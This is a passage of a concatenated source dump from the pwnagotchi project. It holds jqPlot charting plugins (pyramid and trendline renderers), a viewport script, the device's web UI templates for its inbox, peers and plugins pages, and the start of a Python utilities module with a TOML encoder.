{lineCap:'butt', lineWidth:this.gridLineWidth*1.5, offset:this.gridLineWidth*0.75, fill:false, closePath:false}); } drawLine(b, pos, e, pos, {strokeStyle:axis.borderColor}); b = xpn - s; e = xpn; // draw the shadow if (this.shadow) { this.renderer.shadowRenderer.draw(ctx, [[b, pos], [e, pos]], {lineCap:'butt', lineWidth:this.gridLineWidth*1.5, offset:this.gridLineWidth*0.75, fill:false, closePath:false}); } drawLine(b, pos, e, pos, {strokeStyle:axis.borderColor}); } break; case 'x2axis': // draw the grid line if (t.showGridline && this.drawGridlines && (!t.isMinorTick || axis.showMinorTicks)) { drawLine(pos, this._bottom, pos, this._top); } // draw the mark if (t.showMark && t.mark && (!t.isMinorTick || axis.showMinorTicks)) { s = t.markSize; m = t.mark; var pos = Math.round(axis.u2p(t.value)) + 0.5; switch (m) { case 'outside': b = this._top-s; e = this._top; break; case 'inside': b = this._top; e = this._top+s; break; case 'cross': b = this._top-s; e = this._top+s; break; default: b = this._top-s; e = this._top; break; } // draw the shadow if (this.shadow) { this.renderer.shadowRenderer.draw(ctx, [[pos,b],[pos,e]], {lineCap:'butt', lineWidth:this.gridLineWidth, offset:this.gridLineWidth*0.75, depth:2, fill:false, closePath:false}); } drawLine(pos, b, pos, e); } break; case 'y2axis': // draw the grid line if (t.showGridline && this.drawGridlines && (!t.isMinorTick || axis.showMinorTicks)) { drawLine(this._left, pos, this._right, pos); } // draw the mark if (t.showMark && t.mark && (!t.isMinorTick || axis.showMinorTicks)) { s = t.markSize; m = t.mark; var pos = Math.round(axis.u2p(t.value)) + 0.5; switch (m) { case 'outside': b = this._right; e = this._right+s; break; case 'inside': b = this._right-s; e = this._right; break; case 'cross': b = this._right-s; e = this._right+s; break; default: b = this._right; e = this._right+s; break; } // draw the shadow if (this.shadow) { this.renderer.shadowRenderer.draw(ctx, [[b, pos], [e, pos]], {lineCap:'butt', lineWidth:this.gridLineWidth*1.5, offset:this.gridLineWidth*0.75, fill:false, closePath:false}); } drawLine(b, pos, e, pos, {strokeStyle:axis.borderColor}); } break; default: break; } } } t = null; } axis = null; ticks = null; } ctx.restore(); function drawLine(bx, by, ex, ey, opts) { ctx.save(); opts = opts || {}; if (opts.lineWidth == null || opts.lineWidth != 0){ $.extend(true, ctx, opts); ctx.beginPath(); ctx.moveTo(bx, by); ctx.lineTo(ex, ey); ctx.stroke(); } ctx.restore(); } if (this.shadow) { if (axes.yMidAxis.show) { var points = [[this._left, this._bottom], [xp0, this._bottom]]; this.renderer.shadowRenderer.draw(ctx, points); var points = [[xpn, this._bottom], [this._right, this._bottom], [this._right, this._top]]; this.renderer.shadowRenderer.draw(ctx, points); var points = [[xp0, this._bottom], [xp0, this._top]]; this.renderer.shadowRenderer.draw(ctx, points); } else { var points = [[this._left, this._bottom], [this._right, this._bottom], [this._right, this._top]]; this.renderer.shadowRenderer.draw(ctx, points); } } // Now draw border around grid. Use axis border definitions. start at // upper left and go clockwise. if (this.borderWidth != 0 && this.drawBorder) { if (axes.yMidAxis.show) { drawLine (this._left, this._top, xp0, this._top, {lineCap:'round', strokeStyle:axes.x2axis.borderColor, lineWidth:axes.x2axis.borderWidth}); drawLine (xpn, this._top, this._right, this._top, {lineCap:'round', strokeStyle:axes.x2axis.borderColor, lineWidth:axes.x2axis.borderWidth}); drawLine (this._right, this._top, this._right, this._bottom, {lineCap:'round', strokeStyle:axes.y2axis.borderColor, lineWidth:axes.y2axis.borderWidth}); drawLine (this._right, this._bottom, xpn, this._bottom, {lineCap:'round', strokeStyle:axes.xaxis.borderColor, lineWidth:axes.xaxis.borderWidth}); drawLine (xp0, this._bottom, this._left, this._bottom, {lineCap:'round', strokeStyle:axes.xaxis.borderColor, lineWidth:axes.xaxis.borderWidth}); drawLine (this._left, this._bottom, this._left, this._top, {lineCap:'round', strokeStyle:axes.yaxis.borderColor, lineWidth:axes.yaxis.borderWidth}); drawLine (xp0, this._bottom, xp0, this._top, {lineCap:'round', strokeStyle:axes.yaxis.borderColor, lineWidth:axes.yaxis.borderWidth}); drawLine (xpn, this._bottom, xpn, this._top, {lineCap:'round', strokeStyle:axes.yaxis.borderColor, lineWidth:axes.yaxis.borderWidth}); } else { drawLine (this._left, this._top, this._right, this._top, {lineCap:'round', strokeStyle:axes.x2axis.borderColor, lineWidth:axes.x2axis.borderWidth}); drawLine (this._right, this._top, this._right, this._bottom, {lineCap:'round', strokeStyle:axes.y2axis.borderColor, lineWidth:axes.y2axis.borderWidth}); drawLine (this._right, this._bottom, this._left, this._bottom, {lineCap:'round', strokeStyle:axes.xaxis.borderColor, lineWidth:axes.xaxis.borderWidth}); drawLine (this._left, this._bottom, this._left, this._top, {lineCap:'round', strokeStyle:axes.yaxis.borderColor, lineWidth:axes.yaxis.borderWidth}); } } // ctx.lineWidth = this.borderWidth; // ctx.strokeStyle = this.borderColor; // ctx.strokeRect(this._left, this._top, this._width, this._height); ctx.restore(); ctx = null; axes = null; }; })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.pyramidRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { // Need to ensure pyramid axis and grid renderers are loaded. // You should load these with script tags in the html head, that is more efficient // as the browser will cache the request. // Note, have to block with synchronous request in order to execute bar renderer code. if ($.jqplot.PyramidAxisRenderer === undefined) { $.ajax({ url: $.jqplot.pluginLocation + 'jqplot.pyramidAxisRenderer.js', dataType: "script", async: false }); } if ($.jqplot.PyramidGridRenderer === undefined) { $.ajax({ url: $.jqplot.pluginLocation + 'jqplot.pyramidGridRenderer.js', dataType: "script", async: false }); } $.jqplot.PyramidRenderer = function(){ $.jqplot.LineRenderer.call(this); }; $.jqplot.PyramidRenderer.prototype = new $.jqplot.LineRenderer(); $.jqplot.PyramidRenderer.prototype.constructor = $.jqplot.PyramidRenderer; // called with scope of a series $.jqplot.PyramidRenderer.prototype.init = function(options, plot) { options = options || {}; this._type = 'pyramid'; // Group: Properties // // prop: barPadding this.barPadding = 10; this.barWidth = null; // prop: fill // True to fill the bars. this.fill = true; // prop: highlightMouseOver // True to highlight slice when moused over. // This must be false to enable highlightMouseDown to highlight when clicking on a slice. this.highlightMouseOver = true; // prop: highlightMouseDown // True to highlight when a mouse button is pressed over a slice. // This will be disabled if highlightMouseOver is true. this.highlightMouseDown = false; // prop: highlightColors // an array of colors to use when highlighting a slice. this.highlightColors = []; // prop highlightThreshold // Expand the highlightable region in the x direction. // E.g. a value of 3 will highlight a bar when the mouse is // within 3 pixels of the bar in the x direction. this.highlightThreshold = 2; // prop: synchronizeHighlight // Index of another series to highlight when this series is highlighted. // null or false to not synchronize. this.synchronizeHighlight = false; // prop: offsetBars // False will center bars on their y value. // True will push bars up by 1/2 bar width to fill between their y values. // If true, there needs to be 1 more tick than there are bars. this.offsetBars = false; // if user has passed in highlightMouseDown option and not set highlightMouseOver, disable highlightMouseOver if (options.highlightMouseDown && options.highlightMouseOver == null) { options.highlightMouseOver = false; } this.side = 'right'; $.extend(true, this, options); // if (this.fill === false) { // this.shadow = false; // } if (this.side === 'left') { this._highlightThreshold = [[-this.highlightThreshold, 0], [-this.highlightThreshold, 0], [0,0], [0,0]]; } else { this._highlightThreshold = [[0,0], [0,0], [this.highlightThreshold, 0], [this.highlightThreshold, 0]]; } this.renderer.options = options; // index of the currenty highlighted point, if any this._highlightedPoint = null; // Array of actual data colors used for each data point. this._dataColors = []; this._barPoints = []; this.fillAxis = 'y'; this._primaryAxis = '_yaxis'; this._xnudge = 0; // set the shape renderer options var opts = {lineJoin:'miter', lineCap:'butt', fill:this.fill, fillRect:this.fill, isarc:false, strokeStyle:this.color, fillStyle:this.color, closePath:this.fill, lineWidth: this.lineWidth}; this.renderer.shapeRenderer.init(opts); // set the shadow renderer options var shadow_offset = options.shadowOffset; // set the shadow renderer options if (shadow_offset == null) { // scale the shadowOffset to the width of the line. if (this.lineWidth > 2.5) { shadow_offset = 1.25 * (1 + (Math.atan((this.lineWidth/2.5))/0.785398163 - 1)*0.6); // var shadow_offset = this.shadowOffset; } // for skinny lines, don't make such a big shadow. else { shadow_offset = 1.25 * Math.atan((this.lineWidth/2.5))/0.785398163; } } var sopts = {lineJoin:'miter', lineCap:'butt', fill:this.fill, fillRect:this.fill, isarc:false, angle:this.shadowAngle, offset:shadow_offset, alpha:this.shadowAlpha, depth:this.shadowDepth, closePath:this.fill, lineWidth: this.lineWidth}; this.renderer.shadowRenderer.init(sopts); plot.postDrawHooks.addOnce(postPlotDraw); plot.eventListenerHooks.addOnce('jqplotMouseMove', handleMove); // if this is the left side of pyramid, set y values to negative. if (this.side === 'left') { for (var i=0, l=this.data.length; i<l; i++) { this.data[i][1] = -Math.abs(this.data[i][1]); } } }; // setGridData // converts the user data values to grid coordinates and stores them // in the gridData array. // Called with scope of a series. $.jqplot.PyramidRenderer.prototype.setGridData = function(plot) { // recalculate the grid data var xp = this._xaxis.series_u2p; var yp = this._yaxis.series_u2p; var data = this._plotData; var pdata = this._prevPlotData; this.gridData = []; this._prevGridData = []; var l = data.length; var adjust = false; var i; // if any data values are < 0, consider this a negative series for (i = 0; i < l; i++) { if (data[i][1] < 0) { this.side = 'left'; } } if (this._yaxis.name === 'yMidAxis' && this.side === 'right') { this._xnudge = this._xaxis.max/2000.0; adjust = true; } for (i = 0; i < l; i++) { // if not a line series or if no nulls in data, push the converted point onto the array. if (data[i][0] != null && data[i][1] != null) { this.gridData.push([xp(data[i][1]), yp(data[i][0])]); } // else if there is a null, preserve it. else if (data[i][0] == null) { this.gridData.push([xp(data[i][1]), null]); } else if (data[i][1] == null) { this.gridData.push(null, [yp(data[i][0])]); } // finally, adjust x grid data if have to if (data[i][1] === 0 && adjust) { this.gridData[i][0] = xp(this._xnudge); } } }; // makeGridData // converts any arbitrary data values to grid coordinates and // returns them. This method exists so that plugins can use a series' // linerenderer to generate grid data points without overwriting the // grid data associated with that series. // Called with scope of a series. $.jqplot.PyramidRenderer.prototype.makeGridData = function(data, plot) { // recalculate the grid data var xp = this._xaxis.series_u2p; var yp = this._yaxis.series_u2p; var gd = []; var l = data.length; var adjust = false; var i; // if any data values are < 0, consider this a negative series for (i = 0; i < l; i++) { if (data[i][1] < 0) { this.side = 'left'; } } if (this._yaxis.name === 'yMidAxis' && this.side === 'right') { this._xnudge = this._xaxis.max/2000.0; adjust = true; } for (i = 0; i < l; i++) { // if not a line series or if no nulls in data, push the converted point onto the array. if (data[i][0] != null && data[i][1] != null) { gd.push([xp(data[i][1]), yp(data[i][0])]); } // else if there is a null, preserve it. else if (data[i][0] == null) { gd.push([xp(data[i][1]), null]); } else if (data[i][1] == null) { gd.push([null, yp(data[i][0])]); } // finally, adjust x grid data if have to if (data[i][1] === 0 && adjust) { gd[i][0] = xp(this._xnudge); } } return gd; }; $.jqplot.PyramidRenderer.prototype.setBarWidth = function() { // need to know how many data values we have on the approprate axis and figure it out. var i; var nvals = 0; var nseries = 0; var paxis = this[this._primaryAxis]; var s, series, pos; nvals = paxis.max - paxis.min; var nticks = paxis.numberTicks; var nbins = (nticks-1)/2; // so, now we have total number of axis values. var temp = (this.barPadding === 0) ? 1.0 : 0; if (paxis.name == 'xaxis' || paxis.name == 'x2axis') { this.barWidth = (paxis._offsets.max - paxis._offsets.min) / nvals - this.barPadding + temp; } else { if (this.fill) { this.barWidth = (paxis._offsets.min - paxis._offsets.max) / nvals - this.barPadding + temp; } else { this.barWidth = (paxis._offsets.min - paxis._offsets.max) / nvals; } } }; $.jqplot.PyramidRenderer.prototype.draw = function(ctx, gridData, options) { var i; // Ughhh, have to make a copy of options b/c it may be modified later. var opts = $.extend({}, options); var shadow = (opts.shadow != undefined) ? opts.shadow : this.shadow; var showLine = (opts.showLine != undefined) ? opts.showLine : this.showLine; var fill = (opts.fill != undefined) ? opts.fill : this.fill; var xp = this._xaxis.series_u2p; var yp = this._yaxis.series_u2p; var pointx, pointy; // clear out data colors. this._dataColors = []; this._barPoints = []; if (this.renderer.options.barWidth == null) { this.renderer.setBarWidth.call(this); } // var temp = this._plotSeriesInfo = this.renderer.calcSeriesNumbers.call(this); // var nvals = temp[0]; // var nseries = temp[1]; // var pos = temp[2]; var points = [], w, h; // this._barNudge = 0; if (showLine) { var negativeColors = new $.jqplot.ColorGenerator(this.negativeSeriesColors); var positiveColors = new $.jqplot.ColorGenerator(this.seriesColors); var negativeColor = negativeColors.get(this.index); if (! this.useNegativeColors) { negativeColor = opts.fillStyle; } var positiveColor = opts.fillStyle; var base; var xstart = this._xaxis.series_u2p(this._xnudge); var ystart = this._yaxis.series_u2p(this._yaxis.min); var yend = this._yaxis.series_u2p(this._yaxis.max); var bw = this.barWidth; var bw2 = bw/2.0; var points = []; var yadj = this.offsetBars ? bw2 : 0; for (var i=0, l=gridData.length; i<l; i++) { if (this.data[i][0] == null) { continue; } base = gridData[i][1]; // not stacked and first series in stack if (this._plotData[i][1] < 0) { if (this.varyBarColor && !this._stack) { if (this.useNegativeColors) { opts.fillStyle = negativeColors.next(); } else { opts.fillStyle = positiveColors.next(); } } } else { if (this.varyBarColor && !this._stack) { opts.fillStyle = positiveColors.next(); } else { opts.fillStyle = positiveColor; } } if (this.fill) { if (this._plotData[i][1] >= 0) { // xstart = this._xaxis.series_u2p(this._xnudge); w = gridData[i][0] - xstart; h = this.barWidth; points = [xstart, base - bw2 - yadj, w, h]; } else { // xstart = this._xaxis.series_u2p(0); w = xstart - gridData[i][0]; h = this.barWidth; points = [gridData[i][0], base - bw2 - yadj, w, h]; } this._barPoints.push([[points[0], points[1] + h], [points[0], points[1]], [points[0] + w, points[1]], [points[0] + w, points[1] + h]]); if (shadow) { this.renderer.shadowRenderer.draw(ctx, points); } var clr = opts.fillStyle || this.color; this._dataColors.push(clr); this.renderer.shapeRenderer.draw(ctx, points, opts); } else { if (i === 0) { points =[[xstart, ystart], [gridData[i][0], ystart], [gridData[i][0], gridData[i][1] - bw2 - yadj]]; } else if (i < l-1) { points = points.concat([[gridData[i-1][0], gridData[i-1][1] - bw2 - yadj], [gridData[i][0], gridData[i][1] + bw2 - yadj], [gridData[i][0], gridData[i][1] - bw2 - yadj]]); } // finally, draw the line else { points = points.concat([[gridData[i-1][0], gridData[i-1][1] - bw2 - yadj], [gridData[i][0], gridData[i][1] + bw2 - yadj], [gridData[i][0], yend], [xstart, yend]]); if (shadow) { this.renderer.shadowRenderer.draw(ctx, points); } var clr = opts.fillStyle || this.color; this._dataColors.push(clr); this.renderer.shapeRenderer.draw(ctx, points, opts); } } } } if (this.highlightColors.length == 0) { this.highlightColors = $.jqplot.computeHighlightColors(this._dataColors); } else if (typeof(this.highlightColors) == 'string') { this.highlightColors = []; for (var i=0; i<this._dataColors.length; i++) { this.highlightColors.push(this.highlightColors); } } }; // setup default renderers for axes and legend so user doesn't have to // called with scope of plot function preInit(target, data, options) { options = options || {}; options.axesDefaults = options.axesDefaults || {}; options.grid = options.grid || {}; options.legend = options.legend || {}; options.seriesDefaults = options.seriesDefaults || {}; // only set these if there is a pie series var setopts = false; if (options.seriesDefaults.renderer === $.jqplot.PyramidRenderer) { setopts = true; } else if (options.series) { for (var i=0; i < options.series.length; i++) { if (options.series[i].renderer === $.jqplot.PyramidRenderer) { setopts = true; } } } if (setopts) { options.axesDefaults.renderer = $.jqplot.PyramidAxisRenderer; options.grid.renderer = $.jqplot.PyramidGridRenderer; options.seriesDefaults.pointLabels = {show: false}; } } // called within context of plot // create a canvas which we can draw on. // insert it before the eventCanvas, so eventCanvas will still capture events. function postPlotDraw() { // Memory Leaks patch if (this.plugins.pyramidRenderer && this.plugins.pyramidRenderer.highlightCanvas) { this.plugins.pyramidRenderer.highlightCanvas.resetCanvas(); this.plugins.pyramidRenderer.highlightCanvas = null; } this.plugins.pyramidRenderer = {highlightedSeriesIndex:null}; this.plugins.pyramidRenderer.highlightCanvas = new $.jqplot.GenericCanvas(); this.eventCanvas._elem.before(this.plugins.pyramidRenderer.highlightCanvas.createElement(this._gridPadding, 'jqplot-pyramidRenderer-highlight-canvas', this._plotDimensions, this)); this.plugins.pyramidRenderer.highlightCanvas.setContext(); this.eventCanvas._elem.bind('mouseleave', {plot:this}, function (ev) { unhighlight(ev.data.plot); }); } function highlight (plot, sidx, pidx, points) { var s = plot.series[sidx]; var canvas = plot.plugins.pyramidRenderer.highlightCanvas; canvas._ctx.clearRect(0,0,canvas._ctx.canvas.width, canvas._ctx.canvas.height); s._highlightedPoint = pidx; plot.plugins.pyramidRenderer.highlightedSeriesIndex = sidx; var opts = {fillStyle: s.highlightColors[pidx], fillRect: false}; s.renderer.shapeRenderer.draw(canvas._ctx, points, opts); if (s.synchronizeHighlight !== false && plot.series.length >= s.synchronizeHighlight && s.synchronizeHighlight !== sidx) { s = plot.series[s.synchronizeHighlight]; opts = {fillStyle: s.highlightColors[pidx], fillRect: false}; s.renderer.shapeRenderer.draw(canvas._ctx, s._barPoints[pidx], opts); } canvas = null; } function unhighlight (plot) { var canvas = plot.plugins.pyramidRenderer.highlightCanvas; canvas._ctx.clearRect(0,0, canvas._ctx.canvas.width, canvas._ctx.canvas.height); for (var i=0; i<plot.series.length; i++) { plot.series[i]._highlightedPoint = null; } plot.plugins.pyramidRenderer.highlightedSeriesIndex = null; plot.target.trigger('jqplotDataUnhighlight'); canvas = null; } function handleMove(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var evt1 = jQuery.Event('jqplotDataMouseOver'); evt1.pageX = ev.pageX; evt1.pageY = ev.pageY; plot.target.trigger(evt1, ins); if (plot.series[ins[0]].highlightMouseOver && !(ins[0] == plot.plugins.pyramidRenderer.highlightedSeriesIndex && ins[1] == plot.series[ins[0]]._highlightedPoint)) { var evt = jQuery.Event('jqplotDataHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); highlight (plot, neighbor.seriesIndex, neighbor.pointIndex, neighbor.points); } } else if (neighbor == null) { unhighlight (plot); } } // Have to add hook here, becuase it needs called before series is inited. $.jqplot.preInitHooks.push(preInit); })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.trendline.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.Trendline * Plugin which will automatically compute and draw trendlines for plotted data. */ $.jqplot.Trendline = function() { // Group: Properties // prop: show // Wether or not to show the trend line. this.show = $.jqplot.config.enablePlugins; // prop: color // CSS color spec for the trend line. // By default this wil be the same color as the primary line. this.color = '#666666'; // prop: renderer // Renderer to use to draw the trend line. // The data series that is plotted may not be rendered as a line. // Therefore, we use our own line renderer here to draw a trend line. this.renderer = new $.jqplot.LineRenderer(); // prop: rendererOptions // Options to pass to the line renderer. // By default, markers are not shown on trend lines. this.rendererOptions = {marker:{show:false}}; // prop: label // Label for the trend line to use in the legend. this.label = ''; // prop: type // Either 'exponential', 'exp', or 'linear'. this.type = 'linear'; // prop: shadow // true or false, whether or not to show the shadow. this.shadow = true; // prop: markerRenderer // Renderer to use to draw markers on the line. // I think this is wrong. this.markerRenderer = {show:false}; // prop: lineWidth // Width of the trend line. this.lineWidth = 1.5; // prop: shadowAngle // Angle of the shadow on the trend line. this.shadowAngle = 45; // prop: shadowOffset // pixel offset for each stroke of the shadow. this.shadowOffset = 1.0; // prop: shadowAlpha // Alpha transparency of the shadow. this.shadowAlpha = 0.07; // prop: shadowDepth // number of strokes to make of the shadow. this.shadowDepth = 3; this.isTrendline = true; }; $.jqplot.postSeriesInitHooks.push(parseTrendLineOptions); $.jqplot.postDrawSeriesHooks.push(drawTrendline); $.jqplot.addLegendRowHooks.push(addTrendlineLegend); // called witin scope of the legend object // current series passed in // must return null or an object {label:label, color:color} function addTrendlineLegend(series) { var ret = null; if (series.trendline && series.trendline.show) { var lt = series.trendline.label.toString(); if (lt) { ret = {label:lt, color:series.trendline.color}; } } return ret; } // called within scope of a series function parseTrendLineOptions (target, data, seriesDefaults, options, plot) { if (this._type && (this._type === 'line' || this._type == 'bar')) { this.trendline = new $.jqplot.Trendline(); options = options || {}; $.extend(true, this.trendline, {color:this.color}, seriesDefaults.trendline, options.trendline); this.trendline.renderer.init.call(this.trendline, null); } } // called within scope of series object function drawTrendline(sctx, options) { // if we have options, merge trendline options in with precedence options = $.extend(true, {}, this.trendline, options); if (this.trendline && options.show) { var fit; // this.renderer.setGridData.call(this); var data = options.data || this.data; fit = fitData(data, this.trendline.type); var gridData = options.gridData || this.renderer.makeGridData.call(this, fit.data); this.trendline.renderer.draw.call(this.trendline, sctx, gridData, {showLine:true, shadow:this.trendline.shadow}); } } function regression(x, y, typ) { var type = (typ == null) ? 'linear' : typ; var N = x.length; var slope; var intercept; var SX = 0; var SY = 0; var SXX = 0; var SXY = 0; var SYY = 0; var Y = []; var X = []; if (type == 'linear') { X = x; Y = y; } else if (type == 'exp' || type == 'exponential') { for ( var i=0; i<y.length; i++) { // ignore points <= 0, log undefined. if (y[i] <= 0) { N--; } else { X.push(x[i]); Y.push(Math.log(y[i])); } } } for ( var i = 0; i < N; i++) { SX = SX + X[i]; SY = SY + Y[i]; SXY = SXY + X[i]* Y[i]; SXX = SXX + X[i]* X[i]; SYY = SYY + Y[i]* Y[i]; } slope = (N*SXY - SX*SY)/(N*SXX - SX*SX); intercept = (SY - slope*SX)/N; return [slope, intercept]; } function linearRegression(X,Y) { var ret; ret = regression(X,Y,'linear'); return [ret[0],ret[1]]; } function expRegression(X,Y) { var ret; var x = X; var y = Y; ret = regression(x, y,'exp'); var base = Math.exp(ret[0]); var coeff = Math.exp(ret[1]); return [base, coeff]; } function fitData(data, typ) { var type = (typ == null) ? 'linear' : typ; var ret; var res; var x = []; var y = []; var ypred = []; for (i=0; i<data.length; i++){ if (data[i] != null && data[i][0] != null && data[i][1] != null) { x.push(data[i][0]); y.push(data[i][1]); } } if (type == 'linear') { ret = linearRegression(x,y); for ( var i=0; i<x.length; i++){ res = ret[0]*x[i] + ret[1]; ypred.push([x[i], res]); } } else if (type == 'exp' || type == 'exponential') { ret = expRegression(x,y); for ( var i=0; i<x.length; i++){ res = ret[1]*Math.pow(ret[0],x[i]); ypred.push([x[i], res]); } } return {data: ypred, slope: ret[0], intercept: ret[1]}; } })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/viewportHeight.js ================================================ /* https://css-tricks.com/the-trick-to-viewport-units-on-mobile/*/ var lastViewportHeight; function updateViewportSize() { // First we get the viewport height and we multiple it by 1% to get a value for a vh unit var vh = window.innerHeight * 0.01; if (!lastViewportHeight || lastViewportHeight !== vh) { // Then we set the value in the --vh custom property to the root of the document document.documentElement.style.setProperty("--vh", vh + "px"); lastViewportHeight = vh; } } document.addEventListener("DOMContentLoaded", function() { updateViewportSize(); }); ================================================ FILE: pwnagotchi/ui/web/templates/base.html ================================================ <!DOCTYPE html> <html> {% block head %} <head> {% block meta %} <meta charset="utf-8"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="viewport" content="width=device-width, initial-scale=1"> {% endblock %} <title> {% block title %} {% endblock %} {% block styles %} {% endblock %} {% endblock %} {% block body %}
{% if error %}

{{ error }}

{% endif %} {% set navigation = [ ( '/', 'home', 'eye', 'Home' ), ( '/inbox', 'inbox', 'bars', 'Inbox' ), ( '/inbox/new', 'new', 'mail', 'New' ), ( '/inbox/profile', 'profile', 'info', 'Profile' ), ( '/inbox/peers', 'peers', 'user', 'Peers' ), ( '/plugins', 'plugins', 'grid', 'Plugins' ), ] %} {% set active_page = active_page|default('inbox') %}
    {% for href, id, icon, caption in navigation %} {% endfor %}
{% block content %} {% endblock %}
{% block scripts %} {% endblock %} {% endblock %} ================================================ FILE: pwnagotchi/ui/web/templates/inbox.html ================================================ {% extends "base.html" %} {% set active_page = "inbox" %} {% block title %} {{ name }} Inbox {% endblock %} {% block script %} $(function() { setTimeout(function(){ window.location.reload(true); }, 15000); }); {% endblock %} {% block content %} {% if inbox.pages > 1 %}
    {% if page > 1 %}
  • Prev
  • {% endif %} {% if page < inbox.pages %}
  • Next
  • {% endif %}
{% endif %} {% endblock %} ================================================ FILE: pwnagotchi/ui/web/templates/index.html ================================================ {% extends "base.html" %} {% set active_page = "home" %} {% block title %} {{ title }} {% endblock %} {% block script %} window.onload = function() { var image = document.getElementById("ui"); function updateImage() { image.src = image.src.split("?")[0] + "?" + new Date().getTime(); } setInterval(updateImage, 1000); } {% endblock %} {% block content %}
{% endblock %} ================================================ FILE: pwnagotchi/ui/web/templates/message.html ================================================ {% extends "base.html" %} {% set active_page = "" %} {% block title %} Message from {{ message.sender_name }} {% endblock %} {% block script %} jQuery(document).ready(function() { // mark the message as read jQuery.get("/inbox/{{ message.id }}/seen", function(res){ console.log(res); }); }); {% endblock %} {% block content %}

Message from {{ message.sender_name }}@{{ message.sender }}, sent {% if message.seen_at %}, seen {% endif %}.

{% if message.data %} {{ message.data }} {% else %} This message is empty. {% endif %}

Reply Delete

{% endblock %} ================================================ FILE: pwnagotchi/ui/web/templates/new_message.html ================================================ {% extends "base.html" %} {% set active_page = "new" %} {% block title %} {% if to %} Reply to {{ to }} {% else %} New Message {% endif %} {% endblock %} {% block script %} $(function(){ $("#message_form").submit(function(e) { e.preventDefault(); var form = $(this); var url = form.attr('action'); $.ajax({ type: "POST", url: url, data: form.serialize(), success: function(data) { if( data.error ) { if( data.error.indexOf('404') != -1 ) alert('Fingerprint not found.'); else if( data.error.indexOf('aborted') != -1 ) alert('Empty or invalid message.'); else alert(data.error); return; } alert("Message sent!"); document.location.href = "/inbox"; } }); }); }); {% endblock %} {% block content %}
{% endblock %} ================================================ FILE: pwnagotchi/ui/web/templates/peers.html ================================================ {% extends "base.html" %} {% set active_page = "peers" %} {% block title %} {{ name }} Friends {% endblock %} {% block content %} {% endblock %} ================================================ FILE: pwnagotchi/ui/web/templates/plugins.html ================================================ {% extends "base.html" %} {% set active_page = "plugins" %} {% block title %} Plugins {% endblock %} {% block styles %} {{ super() }} {% endblock %} {% block script %} $(function(){ $('input[type=checkbox]').change(function(e) { var checkbox = $(this); var form = checkbox.closest('form'); var url = form.attr('action'); $.ajax({ type: 'POST', url: url, data: form.serialize(), success: function(data) { if( data.indexOf('failed') != -1 ) { alert('Could not be toggled.'); } } }); }); }); {% endblock %} {% block content %}
{% for name in database.keys() | sort %} {% set has_info = name in loaded and loaded[name].__description__ is defined %}

{{name}}

{% if has_info %} {{ loaded[name].__description__ }} {% else %} Description can't be loaded yet. {% endif %}
{% endfor %}
{% endblock %} ================================================ FILE: pwnagotchi/ui/web/templates/profile.html ================================================ {% extends "base.html" %} {% set active_page = "profile" %} {% block title %} Profile {% endblock %} {% block script %} $(function(){ $('#qrcode').qrcode({ text: 'https://pwnagotchi.ai/pwnfile/#{{ fingerprint }}', render: 'div', mode: 0, size: 400, fontname: 'sans', fontcolor: '#000' }); }); {% endblock %} {% block content %}

{{ name }}

{{ fingerprint }}


{{ data }}
{% endblock %} ================================================ FILE: pwnagotchi/ui/web/templates/status.html ================================================ {{ title }}
{{ message }}
================================================ FILE: pwnagotchi/utils.py ================================================ import logging import glob import os import time import subprocess import json import shutil import toml import sys import re from toml.encoder import TomlEncoder, _dump_str from zipfile import ZipFile from datetime import datetime from enum import Enum class DottedTomlEncoder(TomlEncoder): """ Dumps the toml into the dotted-key format """ def __init__(self, _dict=dict): super(DottedTomlEncoder, self).__init__(_dict) def dump_list(self, v): retval = "[" # 1 line if its just 1 item; therefore no newline if len(v) > 1: retval += "\n" for u in v: retval += " " + str(self.dump_value(u)) + ",\n" # 1 line if its just 1 item; remove newline if len(v) <= 1: retval = retval.rstrip("\n") retval += "]" return retval def dump_sections(self, o, sup): retstr = "" pre = "" if sup: pre = sup + "." for section, value in o.items(): section = str(section) qsection = section if not re.match(r'^[A-Za-z0-9_-]+$', section): qsection = _dump_str(section) if value is not None: if isinstance(value, dict): toadd, _ = self.dump_sections(value, pre + qsection) retstr += toadd # separte sections if not retstr.endswith('\n\n'): retstr += '\n' else: retstr += (pre + qsection + " = " + str(self.dump_value(value)) + '\n') return 